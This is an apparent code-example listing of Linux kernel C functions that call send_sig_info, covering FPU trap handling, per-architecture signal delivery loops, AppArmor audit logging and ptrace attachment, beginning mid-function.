				unmask_socket("udp6", port);
			}

		} else {
			//printk(KERN_INFO "Unexpected key: %.*s\n", t[i].end-t[i].start,
			//		json_str + t[i].start);
			;
		}

	return 0;
}
示例#23
0
void do_fpe_trap(struct pt_regs *regs, unsigned long pc, unsigned long npc,
		 unsigned long psr)
{
	static int calls;
	siginfo_t info;
	unsigned long fsr;
	int ret = 0;
#ifndef CONFIG_SMP
	struct task_struct *fpt = last_task_used_math;
#else
	struct task_struct *fpt = current;
#endif
	put_psr(get_psr() | PSR_EF);
	/* If nobody owns the fpu right now, just clear the
	 * error into our fake static buffer and hope it don't
	 * happen again.  Thank you crashme...
	 */
#ifndef CONFIG_SMP
	if(!fpt) {
#else
        if(!(fpt->flags & PF_USEDFPU)) {
#endif
		fpsave(&fake_regs[0], &fake_fsr, &fake_queue[0], &fake_depth);
		regs->psr &= ~PSR_EF;
		return;
	}
	fpsave(&fpt->thread.float_regs[0], &fpt->thread.fsr,
	       &fpt->thread.fpqueue[0], &fpt->thread.fpqdepth);
#ifdef DEBUG_FPU
	printk("Hmm, FP exception, fsr was %016lx\n", fpt->thread.fsr);
#endif

	switch ((fpt->thread.fsr & 0x1c000)) {
	/* switch on the contents of the ftt [floating point trap type] field */
#ifdef DEBUG_FPU
	case (1 << 14):
		printk("IEEE_754_exception\n");
		break;
#endif
	case (2 << 14):  /* unfinished_FPop (underflow & co) */
	case (3 << 14):  /* unimplemented_FPop (quad stuff, maybe sqrt) */
		ret = do_mathemu(regs, fpt);
		break;
#ifdef DEBUG_FPU
	case (4 << 14):
		printk("sequence_error (OS bug...)\n");
		break;
	case (5 << 14):
		printk("hardware_error (uhoh!)\n");
		break;
	case (6 << 14):
		printk("invalid_fp_register (user error)\n");
		break;
#endif /* DEBUG_FPU */
	}
	/* If we successfully emulated the FPop, we pretend the trap never happened :-> */
	if (ret) {
		fpload(&current->thread.float_regs[0], &current->thread.fsr);
		return;
	}
	/* nope, better SIGFPE the offending process... */
	       
#ifdef CONFIG_SMP
	fpt->flags &= ~PF_USEDFPU;
#endif
	if(psr & PSR_PS) {
		/* The first fsr store/load we tried trapped,
		 * the second one will not (we hope).
		 */
		printk("WARNING: FPU exception from kernel mode. at pc=%08lx\n",
		       regs->pc);
		regs->pc = regs->npc;
		regs->npc += 4;
		calls++;
		if(calls > 2)
			die_if_kernel("Too many Penguin-FPU traps from kernel mode",
				      regs);
		return;
	}

	fsr = fpt->thread.fsr;
	info.si_signo = SIGFPE;
	info.si_errno = 0;
	info.si_addr = (void *)pc;
	info.si_trapno = 0;
	info.si_code = __SI_FAULT;
	if ((fsr & 0x1c000) == (1 << 14)) {
		if (fsr & 0x10)
			info.si_code = FPE_FLTINV;
		else if (fsr & 0x08)
			info.si_code = FPE_FLTOVF;
		else if (fsr & 0x04)
			info.si_code = FPE_FLTUND;
		else if (fsr & 0x02)
			info.si_code = FPE_FLTDIV;
		else if (fsr & 0x01)
			info.si_code = FPE_FLTRES;
	}
	send_sig_info(SIGFPE, &info, fpt);
#ifndef CONFIG_SMP
	last_task_used_math = NULL;
#endif
	regs->psr &= ~PSR_EF;
	if(calls > 0)
		calls=0;
}

void handle_tag_overflow(struct pt_regs *regs, unsigned long pc, unsigned long npc,
			 unsigned long psr)
{
	siginfo_t info;

	if(psr & PSR_PS)
		die_if_kernel("Penguin overflow trap from kernel mode", regs);
	info.si_signo = SIGEMT;
	info.si_errno = 0;
	info.si_code = EMT_TAGOVF;
	info.si_addr = (void *)pc;
	info.si_trapno = 0;
	send_sig_info(SIGEMT, &info, current);
}
/*
 * Note that 'init' is a special process: it doesn't get signals it doesn't
 * want to handle. Thus you cannot kill init even with a SIGKILL even by
 * mistake.
 *
 * Note that we go through the signals twice: once to check the signals that
 * the kernel can handle, and then we build all the user-level signal handling
 * stack-frames in one go after that.
 */
int do_signal(struct pt_regs *regs, sigset_t *oldset)
{
	siginfo_t info;
	struct k_sigaction *ka;

	/*
	 * We want the common case to go fast, which
	 * is why we may in certain cases get here from
	 * kernel mode. Just return without doing anything
	 * if so.
	 */
	if (!user_mode(regs))
		return 1;

	if (!oldset)
		oldset = &current->blocked;

	for (;;) {
		unsigned long signr;

		spin_lock_irq(&current->sigmask_lock);
		signr = dequeue_signal(&current->blocked, &info);
		spin_unlock_irq(&current->sigmask_lock);

		if (!signr)
			break;

		if ((current->ptrace & PT_PTRACED) && signr != SIGKILL) {
			/* Let the debugger run.  */
			current->exit_code = signr;
			current->state = TASK_STOPPED;
			notify_parent(current, SIGCHLD);
			schedule();

			/* We're back.  Did the debugger cancel the sig?  */
			if (!(signr = current->exit_code))
				continue;
			current->exit_code = 0;

			/* The debugger continued.  Ignore SIGSTOP.  */
			if (signr == SIGSTOP)
				continue;

			/* Update the siginfo structure.  Is this good?  */
			if (signr != info.si_signo) {
				info.si_signo = signr;
				info.si_errno = 0;
				info.si_code = SI_USER;
				info.si_pid = current->p_pptr->pid;
				info.si_uid = current->p_pptr->uid;
			}

			/* If the (new) signal is now blocked, requeue it.  */
			if (sigismember(&current->blocked, signr)) {
				send_sig_info(signr, &info, current);
				continue;
			}
		}

		ka = &current->sig->action[signr-1];
		if (ka->sa.sa_handler == SIG_IGN) {
			if (signr != SIGCHLD)
				continue;
			/* Check for SIGCHLD: it's special.  */
			while (sys_wait4(-1, NULL, WNOHANG, NULL) > 0)
				/* nothing */;
			continue;
		}

		if (ka->sa.sa_handler == SIG_DFL) {
			int exit_code = signr;

			/* Init gets no signals it doesn't want.  */
			if (current->pid == 1)
				continue;

			switch (signr) {
			case SIGCONT: case SIGCHLD: case SIGWINCH:
				continue;

			case SIGTSTP: case SIGTTIN: case SIGTTOU:
				if (is_orphaned_pgrp(current->pgrp))
				{
					continue;
				}
				/* FALLTHRU */

			case SIGSTOP:
				current->state = TASK_STOPPED;
				current->exit_code = signr;
				if (!(current->p_pptr->sig->action[SIGCHLD-1].sa.sa_flags & SA_NOCLDSTOP))
					notify_parent(current, SIGCHLD);
				schedule();
				continue;

			case SIGQUIT: case SIGILL: case SIGTRAP:
			case SIGABRT: case SIGFPE: case SIGSEGV:
			case SIGBUS: case SIGSYS: case SIGXCPU: case SIGXFSZ:
				if (do_coredump(signr, regs))
					exit_code |= 0x80;
				/* FALLTHRU */

			default:
				sigaddset(&current->pending.signal, signr);
				recalc_sigpending(current);
				current->flags |= PF_SIGNALED;
				do_exit(exit_code);
				/* NOTREACHED */
			}
		}

		/* Whee!  Actually deliver the signal.  */
		handle_signal(signr, ka, &info, oldset, regs);
		return 1;
	}

	/* Did we come from a system call? */
	if (PT_REGS_SYSCALL (regs)) {
		/* Restart the system call - no handlers present */
		if (regs->gpr[GPR_RVAL] == -ERESTARTNOHAND ||
		    regs->gpr[GPR_RVAL] == -ERESTARTSYS ||
		    regs->gpr[GPR_RVAL] == -ERESTARTNOINTR) {
			regs->gpr[12] = PT_REGS_SYSCALL (regs);
			regs->pc -= 8; /* 4 + 8 for microblaze return offset wierdness */
		}
	}
	return 0;
}
示例#25
0
/**
 * aa_audit_base - core AppArmor function.
 * @type: type of audit message (see include/linux/apparmor.h)
 * @profile: active profile for event (MAY BE NULL)
 * @sa: audit structure containing data to audit
 * @audit_cxt: audit_cxt that event is under
 * @cb: audit cb for this event
 *
 * Record an audit message for data is @sa, and handle deal with kill and
 * complain messages switches.
 *
 * Returns: 0 or sa->error on success, else error
 */
static int aa_audit_base(int type, struct aa_profile *profile,
			 struct aa_audit *sa, struct audit_context *audit_cxt,
			 void (*cb) (struct audit_buffer *, struct aa_audit *))
{
	struct audit_buffer *ab = NULL;
	struct task_struct *task = sa->task ? sa->task : current;

	if (profile && DO_KILL(profile) && type == AUDIT_APPARMOR_DENIED)
		type = AUDIT_APPARMOR_KILL;

	/* ab freed below in audit_log_end */
	ab = audit_log_start(audit_cxt, sa->gfp_mask, type);

	if (!ab) {
		AA_ERROR("(%d) Unable to log event of type (%d)\n",
			 -ENOMEM, type);
		sa->error = -ENOMEM;
		goto out;
	}

	if (aa_g_audit_header) {
		audit_log_format(ab, " type=");
		audit_log_string(ab, aa_audit_type[type - AUDIT_APPARMOR_AUDIT]);
	}

	if (sa->operation) {
		audit_log_format(ab, " operation=");
		audit_log_string(ab, sa->operation);
	}

	if (sa->info) {
		audit_log_format(ab, " info=");
		audit_log_string(ab, sa->info);
		if (sa->error)
			audit_log_format(ab, " error=%d", sa->error);
	}

	audit_log_format(ab, " pid=%d", task->pid);

	if (profile && !unconfined(profile)) {
		pid_t pid;
		rcu_read_lock();
		pid = task->real_parent->pid;
		rcu_read_unlock();
		audit_log_format(ab, " parent=%d", pid);
		audit_log_format(ab, " profile=");
		audit_log_untrustedstring(ab, profile->base.hname);

		if (profile->ns != root_ns) {
			audit_log_format(ab, " namespace=");
			audit_log_untrustedstring(ab, profile->ns->base.hname);
		}
	}

	if (cb)
		cb(ab, sa);

	audit_log_end(ab);

out:
	if (type == AUDIT_APPARMOR_KILL)
		(void)send_sig_info(SIGKILL, NULL, task);

	return type == AUDIT_APPARMOR_ALLOWED ? 0 : sa->error;
}
示例#26
0
int do_signal(sigset_t *oldset, struct pt_regs *regs)
{
	siginfo_t info;
	struct k_sigaction *ka;
	unsigned long frame, newsp;

	/*
	 * If the current thread is 32 bit - invoke the
	 * 32 bit signal handling code
	 */
	if (current->thread.flags & PPC_FLAG_32BIT)
		return do_signal32(oldset, regs);

        if (!oldset)
		oldset = &current->blocked;

	newsp = frame = 0;

	for (;;) {
		unsigned long signr;

                PPCDBG(PPCDBG_SIGNAL, "do_signal - (pre) dequeueing signal - pid=%ld current=%lx comm=%s \n", current->pid, current, current->comm);
		spin_lock_irq(&current->sigmask_lock);
		signr = dequeue_signal(&current->blocked, &info);
		spin_unlock_irq(&current->sigmask_lock);
                PPCDBG(PPCDBG_SIGNAL, "do_signal - (aft) dequeueing signal - signal=%lx - pid=%ld current=%lx comm=%s \n", signr, current->pid, current, current->comm);

		if (!signr)
			break;

		if ((current->ptrace & PT_PTRACED) && signr != SIGKILL) {
			/* Let the debugger run.  */
			current->exit_code = signr;
			current->state = TASK_STOPPED;
			notify_parent(current, SIGCHLD);
			schedule();

			/* We're back.  Did the debugger cancel the sig?  */
			if (!(signr = current->exit_code))
				continue;
			current->exit_code = 0;

			/* The debugger continued.  Ignore SIGSTOP.  */
			if (signr == SIGSTOP)
				continue;

			/* Update the siginfo structure.  Is this good?  */
			if (signr != info.si_signo) {
				info.si_signo = signr;
				info.si_errno = 0;
				info.si_code = SI_USER;
				info.si_pid = current->p_pptr->pid;
				info.si_uid = current->p_pptr->uid;
			}

			/* If the (new) signal is now blocked, requeue it.  */
			if (sigismember(&current->blocked, signr)) {
				send_sig_info(signr, &info, current);
				continue;
			}
		}

		ka = &current->sig->action[signr-1];

  
                PPCDBG(PPCDBG_SIGNAL, "do_signal - ka=%p, action handler=%lx \n", ka, ka->sa.sa_handler);

		if (ka->sa.sa_handler == SIG_IGN) {
                        PPCDBG(PPCDBG_SIGNAL, "do_signal - into SIG_IGN logic \n");
			if (signr != SIGCHLD)
				continue;
			/* Check for SIGCHLD: it's special.  */
			while (sys_wait4(-1, NULL, WNOHANG, NULL) > 0)
				/* nothing */;
			continue;
		}

		if (ka->sa.sa_handler == SIG_DFL) {
			int exit_code = signr;
                        PPCDBG(PPCDBG_SIGNAL, "do_signal - into SIG_DFL logic \n");

			/* Init gets no signals it doesn't want.  */
			if (current->pid == 1)
				continue;

			switch (signr) {
			case SIGCONT: case SIGCHLD: case SIGWINCH: case SIGURG:
				continue;

			case SIGTSTP: case SIGTTIN: case SIGTTOU:
				if (is_orphaned_pgrp(current->pgrp))
					continue;
				/* FALLTHRU */

			case SIGSTOP: {
				struct signal_struct *sig;
				current->state = TASK_STOPPED;
				current->exit_code = signr;
				sig = current->p_pptr->sig;
				if (sig && !(sig->action[SIGCHLD-1].sa.sa_flags & SA_NOCLDSTOP))
					notify_parent(current, SIGCHLD);
				schedule();
				continue;
			}

			case SIGQUIT: case SIGILL: case SIGTRAP:
			case SIGABRT: case SIGFPE: case SIGSEGV:
			case SIGBUS: case SIGSYS: case SIGXCPU: case SIGXFSZ:
				if (do_coredump(signr, regs))
					exit_code |= 0x80;
				/* FALLTHRU */

			default:
				sig_exit(signr, exit_code, &info);
				/* NOTREACHED */
			}
		}

		if ( (ka->sa.sa_flags & SA_ONSTACK)
		     && (! on_sig_stack(regs->gpr[1])))
			newsp = (current->sas_ss_sp + current->sas_ss_size);
		else
			newsp = regs->gpr[1];
		newsp = frame = newsp - sizeof(struct sigregs);

		/* Whee!  Actually deliver the signal.  */
  
                PPCDBG(PPCDBG_SIGNAL, "do_signal - GOING TO RUN SIGNAL HANDLER - pid=%ld current=%lx comm=%s \n", current->pid, current, current->comm);
		handle_signal(signr, ka, &info, oldset, regs, &newsp, frame);
                PPCDBG(PPCDBG_SIGNAL, "do_signal - after running signal handler - pid=%ld current=%lx comm=%s \n", current->pid, current, current->comm);
                break;
	}

	if (regs->trap == 0x0C00 /* System Call! */ &&
	    ((int)regs->result == -ERESTARTNOHAND ||
	     (int)regs->result == -ERESTARTSYS ||
	     (int)regs->result == -ERESTARTNOINTR)) {
                PPCDBG(PPCDBG_SIGNAL, "do_signal - going to back up & retry system call \n");
		regs->gpr[3] = regs->orig_gpr3;
		regs->nip -= 4;		/* Back up & retry system call */
		regs->result = 0;
	}

	if (newsp == frame)
          {
             PPCDBG(PPCDBG_SIGNAL, "do_signal - returning w/ no signal delivered \n");
             return 0;		/* no signals delivered */
           }
  
     

        if (ka->sa.sa_flags & SA_SIGINFO)
             setup_rt_frame(regs, (struct sigregs *) frame, newsp);
        else        
	    setup_frame(regs, (struct sigregs *) frame, newsp);
        PPCDBG(PPCDBG_SIGNAL, "do_signal - returning a signal was delivered \n");
	return 1;
}
示例#27
0
int ptrace_attach(struct task_struct *task)
{
	int retval;
	unsigned long flags;

	audit_ptrace(task);

	retval = -EPERM;
	if (same_thread_group(task, current))
		goto out;

	/* Protect exec's credential calculations against our interference;
	 * SUID, SGID and LSM creds get determined differently under ptrace.
	 */
	retval = mutex_lock_interruptible(&task->cred_exec_mutex);
	if (retval  < 0)
		goto out;

	retval = -EPERM;
repeat:
	/*
	 * Nasty, nasty.
	 *
	 * We want to hold both the task-lock and the
	 * tasklist_lock for writing at the same time.
	 * But that's against the rules (tasklist_lock
	 * is taken for reading by interrupts on other
	 * cpu's that may have task_lock).
	 */
	task_lock(task);
	if (!write_trylock_irqsave(&tasklist_lock, flags)) {
		task_unlock(task);
		do {
			cpu_relax();
		} while (!write_can_lock(&tasklist_lock));
		goto repeat;
	}

	if (!task->mm)
		goto bad;
	/* the same process cannot be attached many times */
	if (task->ptrace & PT_PTRACED)
		goto bad;
	retval = __ptrace_may_access(task, PTRACE_MODE_ATTACH);
	if (retval)
		goto bad;

	/* Go */
	task->ptrace |= PT_PTRACED;
	if (capable(CAP_SYS_PTRACE))
		task->ptrace |= PT_PTRACE_CAP;

	__ptrace_link(task, current);

	send_sig_info(SIGSTOP, SEND_SIG_FORCED, task);
bad:
	write_unlock_irqrestore(&tasklist_lock, flags);
	task_unlock(task);
	mutex_unlock(&task->cred_exec_mutex);
out:
	return retval;
}
示例#28
0
static int
get_signal_to_deliver(siginfo_t *info, struct pt_regs *regs)
{
	for (;;) {
		unsigned long signr;
		struct k_sigaction *ka;

		spin_lock_irq(&current->sigmask_lock);
		signr = dequeue_signal(&current->blocked, info);
		spin_unlock_irq(&current->sigmask_lock);

		if (!signr)
			break;

		if ((current->ptrace & PT_PTRACED) && signr != SIGKILL) {
			/* Let the debugger run.  */
			current->exit_code = signr;
			current->state = TASK_STOPPED;
			notify_parent(current, SIGCHLD);
			schedule();

			/* We're back.  Did the debugger cancel the sig?  */
			signr = current->exit_code;
			if (signr == 0)
				continue;
			current->exit_code = 0;

			/* The debugger continued.  Ignore SIGSTOP.  */
			if (signr == SIGSTOP)
				continue;

			/* Update the siginfo structure.  Is this good?  */
			if (signr != info->si_signo) {
				info->si_signo = signr;
				info->si_errno = 0;
				info->si_code = SI_USER;
				info->si_pid = current->p_pptr->pid;
				info->si_uid = current->p_pptr->uid;
			}

			/* If the (new) signal is now blocked, requeue it.  */
			if (sigismember(&current->blocked, signr)) {
				send_sig_info(signr, info, current);
				continue;
			}
		}

		ka = &current->sig->action[signr-1];

		if (ka->sa.sa_handler == SIG_IGN) {
			if (signr != SIGCHLD)
				continue;
			/* Check for SIGCHLD: it's special.  */
			while (sys_wait4(-1, NULL, WNOHANG, NULL) > 0)
				/* nothing */;
			continue;
		}

		if (ka->sa.sa_handler == SIG_DFL) {
			int exit_code = signr;

			/* Init gets no signals it doesn't want.  */
			if (current->pid == 1)
				continue;

			switch (signr) {
			case SIGCONT: case SIGCHLD: case SIGWINCH: case SIGURG:
				continue;

			case SIGTSTP: case SIGTTIN: case SIGTTOU:
				if (is_orphaned_pgrp(current->pgrp))
					continue;
				/* FALLTHRU */

			case SIGSTOP: {
				struct signal_struct *sig;
				current->state = TASK_STOPPED;
				current->exit_code = signr;
				sig = current->p_pptr->sig;
				if (sig && !(sig->action[SIGCHLD-1].sa.sa_flags & SA_NOCLDSTOP))
					notify_parent(current, SIGCHLD);
				schedule();
				continue;
			}

			case SIGQUIT: case SIGILL: case SIGTRAP:
			case SIGABRT: case SIGFPE: case SIGSEGV:
			case SIGBUS: case SIGSYS: case SIGXCPU: case SIGXFSZ:
				if (do_coredump(signr, regs))
					exit_code |= 0x80;
				/* FALLTHRU */

			default:
				sig_exit(signr, exit_code, info);
				/* NOTREACHED */
			}
		}
		return signr;
	}
	return 0;
}
示例#29
0
/* Note that 'init' is a special process: it doesn't get signals it doesn't
 * want to handle. Thus you cannot kill init even with a SIGKILL even by
 * mistake.
 */
asmlinkage int do_signal(sigset_t *oldset, struct pt_regs * regs,
			 unsigned long orig_i0, int restart_syscall)
{
	unsigned long signr;
	siginfo_t info;
	struct k_sigaction *ka;
	
	if (!oldset)
		oldset = &current->blocked;

#ifdef CONFIG_SPARC32_COMPAT
	if (current->thread.flags & SPARC_FLAG_32BIT) {
		extern asmlinkage int do_signal32(sigset_t *, struct pt_regs *,
						  unsigned long, int);
		return do_signal32(oldset, regs, orig_i0, restart_syscall);
	}
#endif	
	for (;;) {
		spin_lock_irq(&current->sigmask_lock);
		signr = dequeue_signal(&current->blocked, &info);
		spin_unlock_irq(&current->sigmask_lock);
		
		if (!signr)
			break;

		if ((current->ptrace & PT_PTRACED) && signr != SIGKILL) {
			/* Do the syscall restart before we let the debugger
			 * look at the child registers.
			 */
			if (restart_syscall &&
			    (regs->u_regs[UREG_I0] == ERESTARTNOHAND ||
			     regs->u_regs[UREG_I0] == ERESTARTSYS ||
			     regs->u_regs[UREG_I0] == ERESTARTNOINTR)) {
				regs->u_regs[UREG_I0] = orig_i0;
				regs->tpc -= 4;
				regs->tnpc -= 4;
				restart_syscall = 0;
			}

			current->exit_code = signr;
			current->state = TASK_STOPPED;
			notify_parent(current, SIGCHLD);
			schedule();
			if (!(signr = current->exit_code))
				continue;
			current->exit_code = 0;
			if (signr == SIGSTOP)
				continue;

			/* Update the siginfo structure.  Is this good?  */
			if (signr != info.si_signo) {
				info.si_signo = signr;
				info.si_errno = 0;
				info.si_code = SI_USER;
				info.si_pid = current->p_pptr->pid;
				info.si_uid = current->p_pptr->uid;
			}

			/* If the (new) signal is now blocked, requeue it.  */
			if (sigismember(&current->blocked, signr)) {
				send_sig_info(signr, &info, current);
				continue;
			}
		}
		
		ka = &current->sig->action[signr-1];
		
		if (ka->sa.sa_handler == SIG_IGN) {
			if (signr != SIGCHLD)
				continue;

                        /* sys_wait4() grabs the master kernel lock, so
                         * we need not do so, that sucker should be
                         * threaded and would not be that difficult to
                         * do anyways.
                         */
                        while (sys_wait4(-1, NULL, WNOHANG, NULL) > 0)
                                ;
			continue;
		}
		if (ka->sa.sa_handler == SIG_DFL) {
			unsigned long exit_code = signr;
			
			if (current->pid == 1)
				continue;
			switch (signr) {
			case SIGCONT: case SIGCHLD: case SIGWINCH: case SIGURG:
				continue;

			case SIGTSTP: case SIGTTIN: case SIGTTOU:
				if (is_orphaned_pgrp(current->pgrp))
					continue;

			case SIGSTOP:
				if (current->ptrace & PT_PTRACED)
					continue;
				current->state = TASK_STOPPED;
				current->exit_code = signr;
				if (!(current->p_pptr->sig->action[SIGCHLD-1].sa.sa_flags &
				      SA_NOCLDSTOP))
					notify_parent(current, SIGCHLD);
				schedule();
				continue;

			case SIGQUIT: case SIGILL: case SIGTRAP:
			case SIGABRT: case SIGFPE: case SIGSEGV:
			case SIGBUS: case SIGSYS: case SIGXCPU: case SIGXFSZ:
				if (do_coredump(signr, regs))
					exit_code |= 0x80;
#ifdef DEBUG_SIGNALS
				/* Very useful to debug the dynamic linker */
				printk ("Sig %d going...\n", (int)signr);
				show_regs (regs);
#ifdef DEBUG_SIGNALS_TRACE
				{
					struct reg_window *rw = (struct reg_window *)(regs->u_regs[UREG_FP] + STACK_BIAS);
					unsigned long ins[8];
                                                
					while (rw &&
					       !(((unsigned long) rw) & 0x3)) {
					        copy_from_user(ins, &rw->ins[0], sizeof(ins));
						printk("Caller[%016lx](%016lx,%016lx,%016lx,%016lx,%016lx,%016lx)\n", ins[7], ins[0], ins[1], ins[2], ins[3], ins[4], ins[5]);
						rw = (struct reg_window *)(unsigned long)(ins[6] + STACK_BIAS);
					}
				}
#endif			
#ifdef DEBUG_SIGNALS_MAPS	
				printk("Maps:\n");
				read_maps();
#endif
#endif
				/* fall through */
			default:
				sig_exit(signr, exit_code, &info);
				/* NOT REACHED */
			}
		}
		if (restart_syscall)
			syscall_restart(orig_i0, regs, &ka->sa);
		handle_signal(signr, ka, &info, oldset, regs);
		return 1;
	}
	if (restart_syscall &&
	    (regs->u_regs[UREG_I0] == ERESTARTNOHAND ||
	     regs->u_regs[UREG_I0] == ERESTARTSYS ||
	     regs->u_regs[UREG_I0] == ERESTARTNOINTR)) {
		/* replay the system call when we are done */
		regs->u_regs[UREG_I0] = orig_i0;
		regs->tpc -= 4;
		regs->tnpc -= 4;
	}
	return 0;
}
示例#30
0
/*
 * Note that `init' is a special process: it doesn't get signals it doesn't want to
 * handle.  Thus you cannot kill init even with a SIGKILL even by mistake.
 */
long
ia64_do_signal (sigset_t *oldset, struct sigscratch *scr, long in_syscall)
{
	struct signal_struct *sig;
	struct k_sigaction *ka;
	siginfo_t info;
	long restart = in_syscall;
	long errno = scr->pt.r8;

	/*
	 * In the ia64_leave_kernel code path, we want the common case to go fast, which
	 * is why we may in certain cases get here from kernel mode. Just return without
	 * doing anything if so.
	 */
	if (!user_mode(&scr->pt))
		return 0;

	if (!oldset)
		oldset = &current->blocked;

#ifdef CONFIG_IA32_SUPPORT
	if (IS_IA32_PROCESS(&scr->pt)) {
		if (in_syscall) {
			if (errno >= 0)
				restart = 0;
			else
				errno = -errno;
		}
	} else
#endif
	if (scr->pt.r10 != -1) {
		/*
		 * A system calls has to be restarted only if one of the error codes
		 * ERESTARTNOHAND, ERESTARTSYS, or ERESTARTNOINTR is returned.  If r10
		 * isn't -1 then r8 doesn't hold an error code and we don't need to
		 * restart the syscall, so we can clear the "restart" flag here.
		 */
		restart = 0;
	}

	for (;;) {
		unsigned long signr;

		spin_lock_irq(&current->sigmask_lock);
		signr = dequeue_signal(&current->blocked, &info);
		spin_unlock_irq(&current->sigmask_lock);

		if (!signr)
			break;

		if ((current->ptrace & PT_PTRACED) && signr != SIGKILL) {
			/* Let the debugger run.  */
			current->exit_code = signr;
			current->thread.siginfo = &info;
			current->state = TASK_STOPPED;
			notify_parent(current, SIGCHLD);
			schedule();

			signr = current->exit_code;
			current->thread.siginfo = 0;

			/* We're back.  Did the debugger cancel the sig?  */
			if (!signr)
				continue;
			current->exit_code = 0;

			/* The debugger continued.  Ignore SIGSTOP.  */
			if (signr == SIGSTOP)
				continue;

			/* Update the siginfo structure.  Is this good?  */
			if (signr != info.si_signo) {
				info.si_signo = signr;
				info.si_errno = 0;
				info.si_code = SI_USER;
				info.si_pid = current->p_pptr->pid;
				info.si_uid = current->p_pptr->uid;
			}

			/* If the (new) signal is now blocked, requeue it.  */
			if (sigismember(&current->blocked, signr)) {
				send_sig_info(signr, &info, current);
				continue;
			}
		}

		ka = &current->sig->action[signr - 1];
		if (ka->sa.sa_handler == SIG_IGN) {
			if (signr != SIGCHLD)
				continue;
			/* Check for SIGCHLD: it's special.  */
			while (sys_wait4(-1, NULL, WNOHANG, NULL) > 0)
				/* nothing */;
			continue;
		}

		if (ka->sa.sa_handler == SIG_DFL) {
			int exit_code = signr;

			/* Init gets no signals it doesn't want.  */
			if (current->pid == 1)
				continue;

			switch (signr) {
			      case SIGCONT: case SIGCHLD: case SIGWINCH: case SIGURG:
				continue;

			      case SIGTSTP: case SIGTTIN: case SIGTTOU:
				if (is_orphaned_pgrp(current->pgrp))
					continue;
				/* FALLTHRU */

			      case SIGSTOP:
				current->state = TASK_STOPPED;
				current->exit_code = signr;
				sig = current->p_pptr->sig;
				if (sig && !(sig->action[SIGCHLD-1].sa.sa_flags & SA_NOCLDSTOP))
					notify_parent(current, SIGCHLD);
				schedule();
				continue;

			      case SIGQUIT: case SIGILL: case SIGTRAP:
			      case SIGABRT: case SIGFPE: case SIGSEGV:
			      case SIGBUS: case SIGSYS: case SIGXCPU: case SIGXFSZ:
				if (do_coredump(signr, &scr->pt))
					exit_code |= 0x80;
				/* FALLTHRU */

			      default:
				sig_exit(signr, exit_code, &info);
				/* NOTREACHED */
			}
		}

		if (restart) {
			switch (errno) {
			      case ERESTARTSYS:
				if ((ka->sa.sa_flags & SA_RESTART) == 0) {
			      case ERESTARTNOHAND:
#ifdef CONFIG_IA32_SUPPORT
					if (IS_IA32_PROCESS(&scr->pt))
						scr->pt.r8 = -EINTR;
					else
#endif
					scr->pt.r8 = EINTR;
					/* note: scr->pt.r10 is already -1 */
					break;
				}
			      case ERESTARTNOINTR:
#ifdef CONFIG_IA32_SUPPORT
				if (IS_IA32_PROCESS(&scr->pt)) {
					scr->pt.r8 = scr->pt.r1;
					scr->pt.cr_iip -= 2;
				} else
#endif
				ia64_decrement_ip(&scr->pt);
			}
		}

		/* Whee!  Actually deliver the signal.  If the
		   delivery failed, we need to continue to iterate in
		   this loop so we can deliver the SIGSEGV... */
		if (handle_signal(signr, ka, &info, oldset, scr))
			return 1;
	}

	/* Did we come from a system call? */
	if (restart) {
		/* Restart the system call - no handlers present */
		if (errno == ERESTARTNOHAND || errno == ERESTARTSYS || errno == ERESTARTNOINTR) {
#ifdef CONFIG_IA32_SUPPORT
			if (IS_IA32_PROCESS(&scr->pt)) {
				scr->pt.r8 = scr->pt.r1;
				scr->pt.cr_iip -= 2;
			} else
#endif
			/*
			 * Note: the syscall number is in r15 which is
			 * saved in pt_regs so all we need to do here
			 * is adjust ip so that the "break"
			 * instruction gets re-executed.
			 */
			ia64_decrement_ip(&scr->pt);
		}
	}
	return 0;
}